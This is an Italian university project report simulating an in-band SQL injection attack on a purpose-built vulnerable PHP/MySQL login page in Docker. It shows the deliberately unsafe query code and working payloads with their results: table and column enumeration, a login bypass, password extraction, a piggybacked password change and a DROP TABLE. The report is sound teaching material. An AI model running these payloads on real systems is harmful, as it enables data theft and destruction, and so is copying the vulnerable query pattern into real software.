



DIPARTIMENTO
DI INFORMATICA
SAPIENZA
UNIVERSITÀ DI ROMA

Partecipanti:

- Giovanni Ciarravano,
1989209
- Marco Linardi,
2003980

SQL Injection Attack Simulation

ABSTRACT

Questo è un piccolo progetto che ha l'obiettivo di simulare un attacco SQL Injection allo scopo di violare la CIA Triad.

1.0 Introduction

Questo progetto ha l'obiettivo di simulare un **attacco SQL Injection** (SQLi) di tipo **in-band**, ovvero un attacco in cui l'attaccante riceve la risposta direttamente nel canale usato per inviare la richiesta.

L'attacco viene effettuato contro un'applicazione web creata appositamente vulnerabile, con lo scopo di violare le tre proprietà fondamentali della sicurezza delle informazioni secondo il **modello CIA**:

- **Confidentiality** (Confidenzialità)
- **Integrity** (Integrità)
- **Availability** (Disponibilità)

2.0 Project Structure

L'ambiente è stato costruito utilizzando **Docker**, con un **web server PHP** con Apache e un **database MySQL** vulnerabile, accessibile tramite una semplice **interfaccia di login web** creata ad hoc non protetta contro SQL Injection.

L'applicazione è quindi composta da due container:

- **php_web**: contiene il web server + l'interfaccia web;
- **vulnerable_db**: contiene il database MySQL con una tabella *users* precaricata tramite `init.sql`.

La directory **web/** contiene:

- **index.php**: form di login vulnerabile
- **login.php**: gestisce le informazioni di login e reindirizza l'utente
- **result.php**: pagina di output della query e dei dati
- **db.php**: connessione al database e supporto multi_query
- **reset.php**: script per ripristinare lo stato iniziale del database

3.0 Functionalities

- All'avvio viene eseguito il file **init.sql**, il quale crea la tabella users e la popola con dati iniziali composti da username e password.
- Viene mostrata all'utente un'interfaccia di login (**index.php**), con un form per inserire username e password per l'accesso. In questi campi è possibile inserire il codice SQL per far partire l'attacco.
- Una volta "eseguito" il login, si accede ad una seconda interfaccia (**result.php**), la quale mostra:
 - La **query** che viene eseguita (al fine didattico);
 - L'**esito** del login (successo/fallimento);
 - I **dati ottenuti** dalla query eseguita (il login di un utente legittimo restituirà una scritta di benvenuto con lo username);
 - Lo **stato attuale del database** (la tabella users), al fine didattico di mostrare le modifiche effettuate.

Login

Username:

Password:

Login

Query eseguita: SELECT * FROM users WHERE username = 'Giovanni' AND password = 'ciao123'

✅ Login riuscito!

Benvenuto:

- Giovanni

Stato attuale del database (tabella users):

ID	Username	Password
1	Giovanni	ciao123
2	Marco	forzaRoma
3	Emanuele	Ema02
4	Federico	FedeDiFiano
5	Admin	admin1
6	user	123456789

[Torna al login](#)

4.0 Attack Simulation

Al fine di rendere il database vulnerabile a SQLi, sono stati presi due accorgimenti principali:

1. Il login viene gestito tramite **query non parametrizzate** e senza alcun controllo sull'input:

```
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
```

2. Le query vengono tutte gestite come **multi_query**:

```
$conn->multi_query($query)
```

Andiamo ora a vedere nello specifico gli attacchi che sono stati simulati.

4.1 Confidentiality Violation

Il primo obiettivo è quello di recuperare informazioni sulla struttura del database, quali tabelle esistenti e loro attributi, ed esfiltrare i dati contenuti al loro interno.

Payload 1 – Enumerazione delle tabelle:

```
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables --
```

Verranno restituiti i nomi di tutte le tabelle presenti all'interno del database

(Utilizziamo **UNION SELECT** per esfiltrare dati aggiuntivi e **commento di fine riga** per evitare il controllo password).

Il numero di attributi dovrà essere esattamente uguale a quello della tabella su cui la query viene eseguita.

```
Query eseguita: SELECT * FROM users WHERE username = '' UNION SELECT NULL, table_name, NULL FROM information_schema.tables -- ' AND password = 'a'
```

✓ Login riuscito!

Benvenuto:

- CHARACTER_SETS
- COLLATIONS
- COLLATION_CHARACTER_SET_APPLICABILITY
- COLUMNS
- COLUMN_PRIVILEGES
- ENGINES
- EVENTS
- FILES
- GLOBAL_STATUS

...

- INNODB_FT_INDEX_TABLE
- INNODB_FT_INDEX_CACHE
- INNODB_SYS_TABLESPACES
- INNODB_METRICS
- INNODB_SYS_FOREIGN_COLS
- INNODB_CMPMEM
- INNODB_BUFFER_POOL_STATS
- INNODB_SYS_COLUMNS
- INNODB_SYS_FOREIGN
- INNODB_SYS_TABLESTATS
- users

Payload 2 – Enumerazione delle colonne della tabella users:

```
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --
```

Verranno restituiti i nomi di tutti gli **attributi** presenti nella tabella *users* (nel nostro caso *ID*, *username*, *password*)

```
Query eseguita: SELECT * FROM users WHERE username = '' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name = 'users' -- ' AND password = 'aa'
```

✓ Login riuscito!

Benvenuto:

- id
- username
- password

Payload 3 – Esfiltrazione dei dati:

Ora che conosciamo la struttura del database, ovvero l'esistenza della tabella *users* e dei propri attributi, possiamo andare a esfiltrare i dati dalla tabella in due modi:

1. Utilizziamo la tecnica della **Tautologia**:

Login

Username:

Password:

Login

```
Query eseguita: SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = 'sss'
```

✓ Login riuscito!

Benvenuto:

- Giovanni
- Marco
- Emanuele
- Federico
- Admin
- user

2. Utilizziamo le informazioni estratte in precedenza:

Login

Username:

Password:

Login

```
Query eseguita: SELECT * FROM users WHERE username = '' UNION SELECT NULL, password, NULL FROM users -- ' AND password = 'a'
```

✓ Login riuscito!

Benvenuto:

- ciao123
- forzaRoma
- Ema02
- FedeDiFiano
- admin1
- 123456789

4.2 Integrity Violation

Ora che sappiamo la struttura del database e i valori dell'attributo username, possiamo andare a **violare l'integrità** dei dati, sfruttando un attacco **SQLi Piggybacked**.

Andiamo quindi a concatenare una seconda query a quella legittima per modificare la password dell'utente "Giovanni":

Query eseguita: `SELECT * FROM users WHERE username = 'Giovanni'; UPDATE users SET password = 'hacked' WHERE username = 'Giovanni' -- ' AND password = 'sss'`

✓ Login riuscito!

Benvenuto:

- Giovanni

Stato attuale del database (tabella users):

ID	Username	Password
1	Giovanni	hacked

4.3 Availability Violation

Andiamo infine a violare la disponibilità dei dati, eliminando completamente la tabella *users*, precedentemente identificata.

Utilizziamo ancora una volta un attacco **Piggybacked** con **commento di fine riga**:

Login

Username:

Password:

Login

Query eseguita: `SELECT * FROM users WHERE username = ''; DROP TABLE users; -- ' AND password = 'sss'`

✗ Login fallito: username o password errati.

Stato attuale del database (tabella users):

La tabella users è vuota.

[Torna al login](#)

5.0 Conclusion

Il progetto dimostra come, in assenza di protezioni adeguate (come query parametrizzate o input validation), un attaccante può violare tutte e tre le proprietà della CIA Triad tramite SQL Injection:

- Esfiltrando dati sensibili
- Modificando informazioni nel database
- Causando l'inaccessibilità del servizio